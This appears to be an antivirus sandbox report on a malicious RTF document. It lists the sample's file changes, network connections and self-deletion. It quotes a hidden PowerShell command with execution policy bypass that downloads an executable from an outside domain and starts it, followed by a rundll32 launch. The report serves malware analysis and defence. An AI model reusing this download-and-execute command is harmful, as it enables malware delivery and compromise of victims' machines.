Technical Information
Malicious functions
Downloads and executes
- https://de-grisogoono.com/report_week.exe as %appdata%\report_final
Modifies file system
Creates the following files
- %TEMP%\abctfhghgdghgh‹.sct
- <Current directory>\~wrd0000.tmp
Deletes the following files
- %TEMP%\abctfhghgdghgh‹.sct
Modifies the following files
Substitutes the following files
- <PATH_SAMPLE>.rtf
Deletes itself.
Network activity
Connects to
- 'de####sogoono.com':443
- 'oc##.#tartssl.com':80
TCP
- 'de####sogoono.com':443
UDP
- DNS ASK de####sogoono.com
- DNS ASK st####.rapidssl.com
- DNS ASK oc##.#tartssl.com
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httPs://de-grisogoono.com/report_week.exe','%APPDATA%\report_final');Start-Pr...' (with hidden window)
Executes the following
- '<SYSTEM32>\rundll32.exe' <SYSTEM32>\shell32.dll,OpenAs_RunDLL %APPDATA%\report_final
